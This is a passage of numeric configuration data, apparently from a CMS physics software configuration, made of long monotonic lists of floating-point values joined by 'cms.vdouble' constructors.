14.265473, 14.582484, 15.058, 15.37501, 15.850526, 16.167537, 16.643052, 16.960063, 17.435579, 17.911094, 18.228105, 18.703621, 19.179136, 19.496147, 19.971663, 20.447179, 20.922694, 21.39821, 21.715221, 22.190736, 22.666252, 23.141768, 23.617284, 24.092799, 24.568315, 25.043831, 25.519347, 25.994863, 26.470378, 26.945894, 27.42141, 28.055431, 28.530947, 29.006463, 29.481978, 29.957494, 30.591515, 31.067031, 31.542547, 32.176568, 32.652084, 33.127599, 33.76162, 34.237136, 34.871157, 35.346673, 35.980694, 36.45621, 37.090231, 37.565747, 38.199768, 38.675283, 39.309304, 39.943325, 40.418841, 41.052862, 41.686883, 42.162399, 42.79642, 43.430441, 44.064462, 44.698483, 45.173999, 45.80802, 46.442041, 47.076062, 47.710083, 48.344104, 48.978125, 49.612146, 50.246167, 50.880188, 51.514209, 52.14823, 52.782252, 53.416273, 54.050294, 54.684315, 55.318336, 55.952357, 56.744883, 57.378904, 58.012925, 58.646946, 59.439472, 60.073493, 60.707515, 61.341536, 62.134062, 62.768083, 63.560609, 64.19463, 64.828651, 65.621178, 66.255199, 67.047725, 67.681746, 68.474272, 69.108293, 69.90082, 70.534841, 71.327367, 72.119893, 72.753914, 73.546441, 74.338967, 74.972988, 75.765514, 76.558041, 77.350567, 77.984588, 78.777114, 79.56964, 80.362167, 81.154693, 81.788714, 82.58124, 83.373767, 84.166293, 84.958819, 85.751346, 86.543872, 87.336398, 88.128924, 88.921451, 89.713977, 90.506503, 91.457535, 92.250061, 93.042588, 93.835114, 94.62764, 95.420166, 96.371198, 97.163724, 97.956251, 98.907282, 99.699808, 100.49233, 101.44337, 102.23589, 103.02842, 103.97945, 104.77198, 105.72301, 106.51553, 107.30806, 108.25909, 109.05162, 110.00265, 110.95368, 111.74621, 112.69724, 113.48977, 114.4408, 115.39183, 116.18436, 117.13539, 118.08642, 118.87894, 119.82998, 120.78101, 121.73204, 122.52457, 123.4756, 124.42663, 125.37766, 126.32869, 127.27972, 128.23076, 129.02328, 129.97431, 130.92534, 131.87638, 132.82741, 133.77844, 134.72947, 135.6805, 136.63153, 137.58257, 138.6921, 139.64313, 140.59417, 141.5452, 142.49623, 143.44726, 144.39829, 145.50783, 146.45886, 147.40989, 148.36092, 149.47046, 150.42149, 151.37252, 152.48206, 153.43309, 154.38412, 155.49366, 156.44469)+cms.vdouble(157.55423, 158.50526, 159.45629, 160.56583, 161.51686, 162.15088, 0, 0, 0, 0, 0.60814195, 0.76017743, 1.0642484, 1.2162839, 1.3683194, 1.5203549, 1.8244258, 1.9764613, 2.2805323, 2.4325678, 2.5846033, 2.8886743, 3.0407097, 3.3447807, 3.4968162, 3.8008872, 4.1049581, 4.2569936, 4.5610646, 4.8651356, 5.0171711, 5.321242, 5.625313, 5.929384, 6.233455, 6.3854904, 6.6895614, 6.9936324, 7.2977034, 7.6017743, 7.9058453, 8.2099163, 8.5139873, 8.8180582, 9.1221292, 9.5782357, 9.8823066, 10.186378, 10.490449, 10.79452, 11.098591, 11.554697, 11.858768, 12.162839, 12.618945, 12.923016, 13.227087, 13.683194, 13.987265, 14.443371, 14.747442, 15.203549, 15.50762, 15.963726, 16.267797, 16.723904, 17.18001, 17.484081, 17.940187, 18.396294, 18.700365, 19.156471, 19.612578, 20.068684, 20.524791, 20.828862, 21.284968, 21.741075, 22.197181, 22.653288, 23.109394, 23.5655, 24.021607, 24.477713, 24.93382, 25.389926, 25.846033, 26.302139, 26.910281, 27.366388, 27.822494, 28.278601, 28.734707, 29.342849, 29.798955, 30.255062, 30.863204, 31.31931, 31.775417, 32.383559, 32.839665, 33.447807, 33.903914, 34.512056, 34.968162, 35.576304, 36.03241, 36.640552, 37.096659, 37.704801, 38.312943, 38.769049, 39.377191, 39.985333, 40.44144, 41.049581, 41.657723, 42.265865, 42.874007, 43.330114, 43.938256, 44.546398, 45.15454, 45.762682, 46.370824, 46.978965, 47.587107, 48.195249, 48.803391, 49.411533, 50.019675, 50.627817, 51.235959, 51.844101, 52.452243, 53.060385, 53.668527, 54.428704, 55.036846, 55.644988, 56.25313, 57.013308, 57.62145, 58.229591, 58.837733, 59.597911, 60.206053, 60.96623, 61.574372, 62.182514, 62.942692, 63.550834, 64.311011, 64.919153, 65.67933, 66.287472, 67.04765, 67.655792, 68.415969, 69.176147, 69.784288, 70.544466, 71.304643, 71.912785, 72.672963, 73.43314, 74.193318, 74.80146, 75.561637, 76.321814, 77.081992, 77.842169, 78.450311, 79.210489, 79.970666, 80.730844, 81.491021, 82.251198, 83.011376, 83.771553, 84.531731, 85.291908, 86.052086, 86.812263, 87.724476, 88.484653, 89.244831, 90.005008, 90.765186, 91.525363, 92.437576, 93.197753, 93.957931, 94.870144, 95.630321, 96.390499, 97.302712, 98.062889, 98.823066, 99.735279, 100.49546, 101.40767, 102.16785, 102.92802, 103.84024, 104.60041, 105.51263, 106.42484, 107.18502, 108.09723, 108.85741, 109.76962, 110.68183, 111.44201, 112.35422, 113.26644, 114.02662, 114.93883, 115.85104, 116.76325, 117.52343, 118.43564, 119.34786, 120.26007, 121.17228, 122.0845, 122.99671, 123.75689, 124.6691, 125.58131, 126.49353, 127.40574, 128.31795, 129.23016, 130.14238, 131.05459, 131.9668, 133.03105, 133.94326, 134.85548, 135.76769, 136.6799, 137.59212, 138.50433, 139.56858, 140.48079, 141.393, 142.30522, 143.36946, 144.28168, 145.19389, 146.25814, 147.17035, 148.08256, 149.14681)+cms.vdouble(150.05903, 151.12327, 152.03549, 152.9477, 154.01195, 154.92416, 155.5323, 0, 0, 0, 0, 0.5800716, 0.7250895, 1.0151253, 1.1601432, 1.3051611, 1.450179, 1.7402148, 1.8852327, 2.1752685, 2.3202864, 2.4653043, 2.7553401, 2.900358, 3.1903938, 3.3354117, 3.6254475, 3.9154833, 4.0605012, 4.350537, 4.6405728, 4.7855907, 5.0756265, 5.3656623, 5.6556981, 5.9457339, 6.0907518, 6.3807876, 6.6708234, 6.9608592, 7.250895, 7.5409308, 7.8309666, 8.1210024, 8.4110382, 8.701074, 9.1361277, 9.4261635, 9.7161993, 10.006235, 10.296271, 10.586307, 11.02136, 11.311396, 11.601432, 12.036486, 12.326521, 12.616557, 13.051611, 13.341647, 13.7767, 14.066736, 14.50179, 14.791826, 15.226879, 15.516915, 15.951969, 16.387023, 16.677058, 17.112112, 17.547166, 17.837202, 18.272255, 18.707309, 19.142363, 19.577416, 19.867452, 20.302506, 20.73756, 21.172613, 21.607667, 22.042721, 22.477774, 22.912828, 23.347882, 23.782936, 24.217989, 24.653043, 25.088097, 25.668168, 26.103222, 26.538276, 26.973329, 27.408383, 27.988455, 28.423508, 28.858562, 29.438634, 29.873687, 30.308741, 30.888813, 31.323866, 31.903938, 32.338992, 32.919063, 33.354117, 33.934189, 34.369242, 34.949314, 35.384368, 35.964439, 36.544511, 36.979564, 37.559636, 38.139708, 38.574761, 39.154833, 39.734905, 40.314976, 40.895048, 41.330101, 41.910173, 42.490245, 43.070316, 43.650388, 44.230459, 44.810531, 45.390603, 45.970674, 46.550746, 47.130817, 47.710889, 48.290961, 48.871032, 49.451104, 50.031175, 50.611247, 51.191319, 51.916408, 52.49648, 53.076551, 53.656623, 54.381712, 54.961784, 55.541856, 56.121927, 56.847017, 57.427088, 58.152178, 58.732249, 59.312321, 60.037411, 60.617482, 61.342572, 61.922643, 62.647733, 63.227804, 63.952894, 64.532965, 65.258055, 65.983144, 66.563216, 67.288306, 68.013395, 68.593467, 69.318556, 70.043646, 70.768735, 71.348807, 72.073896, 72.798986, 73.524075, 74.249165, 74.829236, 75.554326, 76.279415, 77.004505, 77.729594, 78.454684, 79.179773, 79.904863, 80.629952, 81.355042, 82.080131, 82.805221, 83.675328, 84.400418, 85.125507, 85.850597, 86.575686, 87.300776, 88.170883, 88.895973, 89.621062, 90.49117, 91.216259, 91.941349, 92.811456, 93.536545, 94.261635, 95.131742, 95.856832, 96.726939, 97.452029, 98.177118, 99.047226, 99.772315, 100.64242, 101.51253, 102.23762, 103.10773, 103.83282, 104.70292, 105.57303, 106.29812, 107.16823, 108.03834, 108.76342, 109.63353, 110.50364, 111.37375, 112.09884, 112.96894, 113.83905, 114.70916, 115.57927, 116.44937, 117.31948, 118.04457, 118.91468, 119.78479, 120.65489, 121.525, 122.39511, 123.26521, 124.13532, 125.00543, 125.87554, 126.89066, 127.76077, 128.63088, 129.50098, 130.37109, 131.2412, 132.11131, 133.12643, 133.99654, 134.86665, 135.73675, 136.75188, 137.62199, 138.49209, 139.50722, 140.37733, 141.24743)+cms.vdouble(142.26256, 143.13267, 144.14779, 145.0179, 145.88801, 146.90313, 147.77324, 148.35331, 0, 0, 0, 0, 0.55049288, 0.6881161, 0.96336254, 1.1009858, 1.238609, 1.3762322, 1.6514786, 1.7891019, 2.0643483, 2.2019715, 2.3395948, 2.6148412, 2.7524644, 3.0277109, 3.1653341, 3.4405805, 3.715827, 3.8534502, 4.1286966, 4.4039431, 4.5415663, 4.8168127, 5.0920592, 5.3673056, 5.642552, 5.7801753, 6.0554217, 6.3306682, 6.6059146, 6.881161, 7.1564075, 7.4316539, 7.7069004, 7.9821468, 8.2573932, 8.6702629, 8.9455093, 9.2207558, 9.4960022, 9.7712487, 10.046495, 10.459365, 10.734611, 11.009858, 11.422727, 11.697974, 11.97322, 12.38609, 12.661336, 13.074206, 13.349452, 13.762322, 14.037569, 14.450438, 14.725685, 15.138554, 15.551424, 15.82667, 16.23954, 16.65241, 16.927656, 17.340526, 17.753395, 18.166265, 18.579135, 18.854381, 19.267251, 19.680121, 20.09299, 20.50586, 20.91873, 21.331599, 21.744469, 22.157339, 22.570208, 22.983078, 23.395948, 23.808817, 24.35931, 24.77218, 25.185049, 25.597919, 26.010789, 26.561282, 26.974151, 27.387021, 27.937514, 28.350383, 28.763253, 29.313746, 29.726616, 30.277109, 30.689978, 31.240471, 31.653341, 32.203834, 32.616703, 33.167196, 33.580066, 34.130559, 34.681052, 35.093921, 35.644414, 36.194907, 36.607777, 37.15827, 37.708762, 38.259255, 38.809748, 39.222618, 39.773111, 40.323604, 40.874097, 41.424589, 41.975082, 42.525575, 43.076068, 43.626561, 44.177054, 44.727547, 45.27804, 45.828532, 46.379025, 46.929518, 47.480011, 48.030504, 48.580997, 49.269113, 49.819606, 50.370099, 50.920592, 51.608708, 52.159201, 52.709694, 53.260186, 53.948302, 54.498795, 55.186911, 55.737404, 56.287897, 56.976013, 57.526506, 58.214622, 58.765115, 59.453231, 60.003724, 60.69184, 61.242333, 61.930449, 62.618565, 63.169058, 63.857174, 64.54529, 65.095783, 65.783899, 66.472016, 67.160132, 67.710625, 68.398741, 69.086857, 69.774973, 70.463089, 71.013582, 71.701698, 72.389814, 73.07793, 73.766046, 74.454162, 75.142278, 75.830395, 76.518511, 77.206627, 77.894743, 78.582859, 79.408598, 80.096714, 80.784831, 81.472947, 82.161063, 82.849179, 83.674918, 84.363034, 85.05115, 85.87689, 86.565006, 87.253122, 88.078861, 88.766977, 89.455093, 90.280833, 90.968949, 91.794688, 92.482804, 93.17092, 93.99666, 94.684776, 95.510515, 96.336254, 97.024371, 97.85011, 98.538226, 99.363965, 100.1897, 100.87782, 101.70356, 102.5293, 103.21742, 104.04315, 104.86889, 105.69463, 106.38275, 107.20849, 108.03423, 108.85997, 109.68571, 110.51145, 111.33719, 112.0253, 112.85104, 113.67678, 114.50252, 115.32826, 116.154, 116.97974, 117.80548, 118.63122, 119.45696, 120.42032, 121.24606, 122.0718, 122.89754, 123.72328, 124.54901, 125.37475, 126.33812, 127.16386, 127.9896, 128.81533, 129.7787, 130.60444, 131.43018, 132.39354, 133.21928)+cms.vdouble(134.04502, 135.00838, 135.83412, 136.79748, 137.62322, 138.44896, 139.41232, 140.23806, 140.78855, 0, 0, 0, 0, 0.52003679, 0.65004599, 0.91006438, 1.0400736, 1.1700828, 1.300092, 1.5601104, 1.6901196, 1.950138, 2.0801472, 2.2101564, 2.4701747, 2.6001839, 2.8602023, 2.9902115, 3.2502299, 3.5102483, 3.6402575, 3.9002759, 4.1602943, 4.2903035, 4.5503219, 4.8103403, 5.0703587, 5.3303771, 5.4603863, 5.7204047, 5.9804231, 6.2404415, 6.5004599, 6.7604782, 7.0204966, 7.280515, 7.5405334, 7.8005518, 8.1905794, 8.4505978, 8.7106162, 8.9706346, 9.230653, 9.4906714, 9.880699, 10.140717, 10.400736, 10.790763, 11.050782, 11.3108, 11.700828, 11.960846, 12.350874, 12.610892, 13.00092, 13.260938, 13.650966, 13.910984, 14.301012, 14.691039, 14.951058, 15.341085, 15.731113, 15.991131, 16.381159, 16.771186, 17.161214, 17.551242, 17.81126, 18.201288, 18.591315, 18.981343, 19.37137, 19.761398, 20.151426, 20.541453, 20.931481, 21.321508, 21.711536, 22.101564, 22.491591, 23.011628, 23.401655, 23.791683, 24.181711, 24.571738, 25.091775, 25.481803, 25.87183, 26.391867, 26.781895, 27.171922, 27.691959, 28.081987, 28.602023, 28.992051, 29.512088, 29.902115, 30.422152, 30.81218, 31.332216, 31.722244, 32.242281, 32.762318, 33.152345, 33.672382, 34.192419, 34.582446, 35.102483, 35.62252, 36.142557, 36.662594, 37.052621, 37.572658, 38.092695, 38.612732, 39.132768, 39.652805, 40.172842, 40.692879, 41.212915, 41.732952, 42.252989, 42.773026, 43.293063, 43.813099, 44.333136, 44.853173, 45.37321, 45.893247, 46.543293, 47.063329, 47.583366, 48.103403, 48.753449, 49.273486, 49.793522, 50.313559, 50.963605, 51.483642, 52.133688, 52.653725, 53.173762, 53.823808, 54.343844, 54.99389, 55.513927, 56.163973, 56.68401, 57.334056, 57.854093, 58.504139, 59.154185, 59.674221, 60.324267, 60.974313, 61.49435, 62.144396, 62.794442, 63.444488, 63.964525, 64.614571, 65.264617, 65.914663, 66.564709, 67.084746, 67.734792, 68.384838, 69.034884, 69.68493, 70.334976, 70.985022, 71.635068, 72.285114, 72.93516, 73.585206, 74.235252, 75.015307, 75.665353, 76.315399, 76.965445, 77.615491, 78.265537, 79.045592, 79.695638, 80.345684, 81.125739, 81.775785, 82.425831, 83.205886, 83.855932, 84.505978, 85.286033, 85.936079, 86.716134, 87.36618, 88.016226, 88.796282, 89.446328, 90.226383, 91.006438, 91.656484, 92.436539, 93.086585, 93.86664, 94.646695, 95.296741, 96.076797, 96.856852, 97.506898, 98.286953, 99.067008, 99.847063, 100.49711, 101.27716, 102.05722, 102.83727, 103.61733, 104.39739, 105.17744, 105.82749, 106.60754, 107.3876, 108.16765, 108.94771, 109.72776, 110.50782, 111.28787, 112.06793, 112.84798, 113.75805, 114.5381, 115.31816, 116.09821, 116.87827, 117.65832, 118.43838, 119.34844, 120.1285, 120.90855, 121.68861, 122.59867, 123.37873, 124.15878, 125.06885)+cms.vdouble(125.8489, 126.62896, 127.53902, 128.31908, 129.22914, 130.0092, 130.78925, 131.69932, 132.47937, 132.99941, 0, 0, 0, 0, 0.4892627, 0.61157837, 0.85620972, 0.97852539, 1.1008411, 1.2231567, 1.4677881, 1.5901038, 1.8347351, 1.9570508, 2.0793665, 2.3239978, 2.4463135, 2.6909448, 2.8132605, 3.0578919, 3.3025232, 3.4248389, 3.6694702, 3.9141016, 4.0364172, 4.2810486, 4.5256799, 4.7703113, 5.0149426, 5.1372583, 5.3818897, 5.626521, 5.8711524, 6.1157837, 6.3604151, 6.6050464, 6.8496778, 7.0943091, 7.3389405, 7.7058875, 7.9505188, 8.1951502, 8.4397815, 8.6844129, 8.9290442, 9.2959912, 9.5406226, 9.7852539, 10.152201, 10.396832, 10.641464, 11.008411, 11.253042, 11.619989, 11.86462, 12.231567, 12.476199, 12.843146, 13.087777, 13.454724, 13.821671, 14.066303, 14.43325, 14.800197, 15.044828, 15.411775, 15.778722, 16.145669, 16.512616, 16.757247, 17.124194, 17.491141, 17.858088, 18.225035, 18.591982, 18.95893, 19.325877, 19.692824, 20.059771, 20.426718, 20.793665, 21.160612, 21.649874, 22.016821, 22.383768, 22.750715, 23.117662, 23.606925, 23.973872, 24.340819, 24.830082, 25.197029, 25.563976, 26.053239, 26.420186, 26.909448, 27.276395, 27.765658, 28.132605, 28.621868, 28.988815, 29.478077, 29.845025, 30.334287, 30.82355, 31.190497, 31.67976, 32.169022, 32.535969, 33.025232, 33.514495, 34.003757, 34.49302, 34.859967, 35.34923, 35.838493, 36.327755, 36.817018, 37.306281, 37.795543, 38.284806, 38.774069, 39.263331, 39.752594, 40.241857, 40.73112, 41.220382, 41.709645, 42.198908, 42.68817, 43.177433, 43.789011, 44.278274, 44.767537, 45.256799, 45.868378, 46.357641, 46.846903, 47.336166, 47.947744, 48.437007, 49.048585, 49.537848, 50.027111, 50.638689, 51.127952, 51.73953, 52.228793, 52.840371, 53.329634, 53.941212, 54.430475, 55.042053, 55.653632, 56.142894, 56.754473, 57.366051, 57.855314, 58.466892, 59.078471, 59.690049, 60.179312, 60.79089, 61.402468, 62.014047, 62.625625, 63.114888, 63.726466, 64.338045, 64.949623, 65.561201, 66.17278, 66.784358, 67.395936, 68.007515, 68.619093, 69.230672, 69.84225, 70.576144, 71.187722, 71.799301, 72.410879, 73.022457, 73.634036, 74.36793, 74.979508, 75.591087, 76.324981, 76.936559, 77.548137, 78.282031, 78.89361, 79.505188, 80.239082, 80.850661, 81.584555, 82.196133, 82.807711, 83.541605, 84.153184, 84.887078, 85.620972, 86.23255, 86.966444, 87.578023, 88.311917, 89.045811, 89.657389, 90.391283, 91.125177, 91.736756, 92.47065, 93.204544, 93.938438, 94.550016, 95.28391, 96.017804, 96.751698, 97.485592, 98.219486, 98.95338, 99.564959, 100.29885, 101.03275, 101.76664, 102.50053, 103.23443, 103.96832, 104.70222, 105.43611, 106.17001, 107.02621, 107.76011, 108.494, 109.2279, 109.96179, 110.69569, 111.42958, 112.28579, 113.01968, 113.75358, 114.48747, 115.34368, 116.07757, 116.81147)+cms.vdouble(117.66768, 118.40157, 119.13547, 119.99168, 120.72557, 121.58178, 122.31567, 123.04957, 123.90578, 124.63967, 125.12893, 0, 0, 0, 0, 0.45864772, 0.57330965, 0.8026335, 0.91729543, 1.0319574, 1.1466193, 1.3759432, 1.4906051, 1.7199289, 1.8345909, 1.9492528, 2.1785767, 2.2932386, 2.5225624, 2.6372244, 2.8665482, 3.0958721, 3.210534, 3.4398579, 3.6691817, 3.7838437, 4.0131675, 4.2424914, 4.4718152, 4.7011391, 4.815801, 5.0451249, 5.2744487, 5.5037726, 5.7330965, 5.9624203, 6.1917442, 6.421068, 6.6503919, 6.8797158, 7.2237015, 7.4530254, 7.6823493, 7.9116731, 8.140997, 8.3703208, 8.7143066, 8.9436305, 9.1729543, 9.5169401, 9.746264, 9.9755878, 10.319574, 10.548897, 10.892883, 11.122207, 11.466193, 11.695517, 12.039503, 12.268826, 12.612812, 12.956798, 13.186122, 13.530108, 13.874093, 14.103417, 14.447403, 14.791389, 15.135375, 15.47936, 15.708684, 16.05267, 16.396656, 16.740642, 17.084627, 17.428613, 17.772599, 18.116585, 18.460571, 18.804556, 19.148542, 19.492528, 19.836514, 20.295161, 20.639147, 20.983133, 21.327119, 21.671105, 22.129752, 22.473738, 22.817724, 23.276372, 23.620357, 23.964343, 24.422991, 24.766977, 25.225624, 25.56961, 26.028258, 26.372244, 26.830891, 27.174877, 27.633525, 27.977511, 28.436158, 28.894806, 29.238792, 29.69744, 30.156087, 30.500073, 30.958721, 31.417369, 31.876016, 32.334664, 32.67865, 33.137298, 33.595945, 34.054593, 34.513241, 34.971888, 35.430536, 35.889184, 36.347832, 36.806479, 37.265127, 37.723775, 38.182422, 38.64107, 39.099718, 39.558366, 40.017013, 40.475661, 41.048971, 41.507618, 41.966266, 42.424914, 42.998223, 43.456871, 43.915519, 44.374167, 44.947476, 45.406124, 45.979434, 46.438081, 46.896729, 47.470039, 47.928686, 48.501996, 48.960644, 49.533953, 49.992601, 50.565911, 51.024558, 51.597868, 52.171178, 52.629825, 53.203135, 53.776445, 54.235093, 54.808402, 55.381712, 55.955021, 56.413669, 56.986979, 57.560288, 58.133598, 58.706908, 59.165555, 59.738865, 60.312175, 60.885484, 61.458794, 62.032104, 62.605413, 63.178723, 63.752033, 64.325342, 64.898652, 65.471962, 66.159933, 66.733243, 67.306552, 67.879862, 68.453172, 69.026481, 69.714453, 70.287763, 70.861072, 71.549044, 72.122353, 72.695663, 73.383635, 73.956944, 74.530254, 75.218226, 75.791535, 76.479507, 77.052816, 77.626126, 78.314098, 78.887407, 79.575379, 80.26335, 80.83666, 81.524632, 82.097941, 82.785913, 83.473884, 84.047194, 84.735166, 85.423137, 85.996447, 86.684418, 87.37239, 88.060362, 88.633671, 89.321643, 90.009614, 90.697586, 91.385558, 92.073529, 92.761501, 93.33481, 94.022782, 94.710753, 95.398725, 96.086697, 96.774668, 97.46264, 98.150611, 98.838583, 99.526555, 100.32919, 101.01716, 101.70513, 102.3931, 103.08107, 103.76905, 104.45702, 105.25965, 105.94762, 106.63559, 107.32357, 108.1262, 108.81417)+cms.vdouble(109.50214, 110.30478, 110.99275, 111.68072, 112.48335, 113.17132, 113.97396, 114.66193, 115.3499, 116.15253, 116.84051, 117.29915, 0, 0, 0, 0, 0.42858365, 0.53572957, 0.75002139, 0.85716731, 0.96431322, 1.0714591, 1.285751, 1.3928969, 1.6071887, 1.7143346, 1.8214805, 2.0357724, 2.1429183, 2.3572101, 2.464356, 2.6786478, 2.8929397, 3.0000856, 3.2143774, 3.4286692, 3.5358151, 3.750107, 3.9643988, 4.1786906, 4.3929824, 4.5001284, 4.7144202, 4.928712, 5.1430038, 5.3572957, 5.5715875, 5.7858793, 6.0001711, 6.214463, 6.4287548, 6.7501925, 6.9644844, 7.1787762, 7.393068, 7.6073598, 7.8216517, 8.1430894, 8.3573812, 8.5716731, 8.8931108, 9.1074026, 9.3216945, 9.6431322, 9.857424, 10.178862, 10.393154, 10.714591, 10.928883, 11.250321, 11.464613, 11.78605, 12.107488, 12.32178, 12.643218, 12.964656, 13.178947, 13.500385, 13.821823, 14.143261, 14.464698, 14.67899, 15.000428, 15.321866, 15.643303, 15.964741, 16.286179, 16.607617, 16.929054, 17.250492, 17.57193, 17.893368, 18.214805, 18.536243, 18.964827, 19.286264, 19.607702, 19.92914, 20.250578, 20.679161, 21.000599, 21.322037, 21.75062, 22.072058, 22.393496, 22.82208, 23.143517, 23.572101, 23.893539, 24.322122, 24.64356, 25.072144, 25.393581, 25.822165, 26.143603, 26.572186, 27.00077, 27.322208, 27.750792, 28.179375, 28.500813, 28.929397, 29.35798, 29.786564, 30.215148, 30.536585, 30.965169, 31.393753, 31.822336, 32.25092, 32.679504, 33.108087, 33.536671, 33.965254, 34.393838, 34.822422, 35.251005, 35.679589, 36.108173, 36.536756, 36.96534, 37.393924, 37.822507, 38.358237, 38.786821, 39.215404, 39.643988, 40.179717, 40.608301, 41.036885, 41.465468, 42.001198, 42.429782, 42.965511, 43.394095, 43.822679, 44.358408, 44.786992, 45.322721, 45.751305, 46.287035, 46.715618, 47.251348, 47.679931, 48.215661, 48.751391, 49.179974, 49.715704, 50.251433, 50.680017, 51.215747, 51.751476, 52.287206, 52.715789, 53.251519, 53.787248, 54.322978, 54.858708, 55.287291, 55.823021, 56.35875, 56.89448, 57.430209, 57.965939, 58.501669, 59.037398, 59.573128, 60.108857, 60.644587, 61.180316, 61.823192, 62.358922, 62.894651, 63.430381, 63.96611, 64.50184, 65.144715, 65.680445, 66.216174, 66.85905, 67.394779, 67.930509, 68.573384, 69.109114, 69.644844, 70.287719, 70.823449, 71.466324, 72.002054, 72.537783, 73.180659, 73.716388, 74.359264, 75.002139, 75.537869, 76.180744, 76.716474, 77.359349, 78.002225, 78.537954, 79.18083, 79.823705, 80.359435, 81.00231, 81.645186, 82.288061, 82.823791, 83.466666, 84.109542, 84.752417, 85.395293, 86.038168, 86.681044, 87.216773, 87.859649, 88.502524, 89.1454, 89.788275, 90.431151, 91.074026, 91.716902, 92.359777, 93.002653, 93.752674, 94.39555, 95.038425, 95.681301, 96.324176, 96.967051, 97.609927, 98.359948, 99.002824, 99.645699, 100.28857, 101.0386)+cms.vdouble(101.68147, 102.32435, 103.07437, 103.71724, 104.36012, 105.11014, 105.75302, 106.50304, 107.14591, 107.78879, 108.53881, 109.18169, 109.61027, 0, 0, 0, 0, 0.39937975, 0.49922469, 0.69891457, 0.79875951, 0.89860445, 0.99844938, 1.1981393, 1.2979842, 1.4976741, 1.597519, 1.697364, 1.8970538, 1.9968988, 2.1965886, 2.2964336, 2.4961235, 2.6958133, 2.7956583, 2.9953482, 3.195038, 3.294883, 3.4945728, 3.6942627, 3.8939526, 4.0936425, 4.1934874, 4.3931773, 4.5928672, 4.792557, 4.9922469, 5.1919368, 5.3916267, 5.5913166, 5.7910064, 5.9906963, 6.2902311, 6.489921, 6.6896109, 6.8893008, 7.0889906, 7.2886805, 7.5882153, 7.7879052, 7.9875951, 8.2871299, 8.4868198, 8.6865096, 8.9860445, 9.1857343, 9.4852691, 9.684959, 9.9844938, 10.184184, 10.483719, 10.683408, 10.982943, 11.282478, 11.482168, 11.781703, 12.081238, 12.280927, 12.580462, 12.879997, 13.179532, 13.479067, 13.678757, 13.978291, 14.277826, 14.577361, 14.876896, 15.176431, 15.475965, 15.7755, 16.075035, 16.37457, 16.674105, 16.97364, 17.273174, 17.672554, 17.972089, 18.271624, 18.571159, 18.870693, 19.270073, 19.569608, 19.869143, 20.268522, 20.568057, 20.867592, 21.266972, 21.566507, 21.965886, 22.265421, 22.664801, 22.964336, 23.363716, 23.66325, 24.06263, 24.362165, 24.761545, 25.160924, 25.460459, 25.859839, 26.259219, 26.558754, 26.958133, 27.357513, 27.756893, 28.156273, 28.455807, 28.855187, 29.254567, 29.653947, 30.053326, 30.452706, 30.852086, 31.251466, 31.650845, 32.050225, 32.449605, 32.848985, 33.248364, 33.647744, 34.047124, 34.446504, 34.845884, 35.245263, 35.744488, 36.143868, 36.543247, 36.942627, 37.441852, 37.841232, 38.240611, 38.639991, 39.139216, 39.538596, 40.03782, 40.4372, 40.83658, 41.335805, 41.735184, 42.234409, 42.633789, 43.133013, 43.532393, 44.031618, 44.430998, 44.930222, 45.429447, 45.828827, 46.328051, 46.827276, 47.226656, 47.725881, 48.225105, 48.72433, 49.12371, 49.622934, 50.122159, 50.621384, 51.120608, 51.519988, 52.019213, 52.518438, 53.017662, 53.516887, 54.016112, 54.515336, 55.014561, 55.513786, 56.01301, 56.512235, 57.01146, 57.610529, 58.109754, 58.608979, 59.108204, 59.607428, 60.106653, 60.705723, 61.204947, 61.704172, 62.303242, 62.802466, 63.301691, 63.900761, 64.399985, 64.89921, 65.49828, 65.997504, 66.596574, 67.095799, 67.595023, 68.194093, 68.693318, 69.292387, 69.891457, 70.390682, 70.989751, 71.488976, 72.088046, 72.687115, 73.18634, 73.785409, 74.384479, 74.883704, 75.482773, 76.081843, 76.680913, 77.180137, 77.779207, 78.378277, 78.977346, 79.576416, 80.175486, 80.774555, 81.27378, 81.87285, 82.471919, 83.070989, 83.670058, 84.269128, 84.868198, 85.467267, 86.066337, 86.665407, 87.364321, 87.963391, 88.56246, 89.16153, 89.7606, 90.359669, 90.958739, 91.657653, 92.256723, 92.855793, 93.454862)+cms.vdouble(94.153777, 94.752847, 95.351916, 96.050831, 96.6499, 97.24897, 97.947885, 98.546954, 99.245869, 99.844938, 100.44401, 101.14292, 101.74199, 102.14137, 0, 0, 0, 0, 0.37126937, 0.46408671, 0.64972139, 0.74253873, 0.83535608, 0.92817342, 1.1138081, 1.2066254, 1.3922601, 1.4850775, 1.5778948, 1.7635295, 1.8563468, 2.0419815, 2.1347989, 2.3204335, 2.5060682, 2.5988856, 2.7845203, 2.9701549, 3.0629723, 3.248607, 3.4342416, 3.6198763, 3.805511, 3.8983284, 4.083963, 4.2695977, 4.4552324, 4.6408671, 4.8265018, 5.0121365, 5.1977711, 5.3834058, 5.5690405, 5.8474925, 6.0331272, 6.2187619, 6.4043966, 6.5900313, 6.7756659, 7.054118, 7.2397527, 7.4253873, 7.7038394, 7.889474, 8.0751087, 8.3535608, 8.5391954, 8.8176475, 9.0032821, 9.2817342, 9.4673689, 9.7458209, 9.9314556, 10.209908, 10.48836, 10.673994, 10.952446, 11.230898, 11.416533, 11.694985, 11.973437, 12.251889, 12.530341, 12.715976, 12.994428, 13.27288, 13.551332, 13.829784, 14.108236, 14.386688, 14.66514, 14.943592, 15.222044, 15.500496, 15.778948, 16.0574, 16.428669, 16.707122, 16.985574, 17.264026, 17.542478, 17.913747, 18.192199, 18.470651, 18.84192, 19.120372, 19.398824, 19.770094, 20.048546, 20.419815, 20.698267, 21.069537, 21.347989, 21.719258, 21.99771, 22.368979, 22.647431, 23.018701, 23.38997, 23.668422, 24.039692, 24.410961, 24.689413, 25.060682, 25.431952, 25.803221, 26.17449, 26.452942, 26.824212, 27.195481, 27.566751, 27.93802, 28.309289, 28.680559, 29.051828, 29.423097, 29.794367, 30.165636, 30.536905, 30.908175, 31.279444, 31.650714, 32.021983, 32.393252, 32.764522, 33.228608, 33.599878, 33.971147, 34.342416, 34.806503, 35.177773, 35.549042, 35.920311, 36.384398, 36.755667, 37.219754, 37.591023, 37.962293, 38.426379, 38.797649, 39.261736, 39.633005, 40.097092, 40.468361, 40.932448, 41.303717, 41.767804, 42.23189, 42.60316, 43.067247, 43.531333, 43.902603, 44.366689, 44.830776, 45.294863, 45.666132, 46.130219, 46.594306, 47.058392, 47.522479, 47.893748, 48.357835, 48.821922, 49.286008, 49.750095, 50.214182, 50.678269, 51.142355, 51.606442, 52.070529, 52.534615, 52.998702, 53.555606, 54.019693, 54.48378, 54.947866, 55.411953, 55.87604, 56.432944, 56.89703, 57.361117, 57.918021, 58.382108, 58.846195, 59.403099, 59.867185, 60.331272, 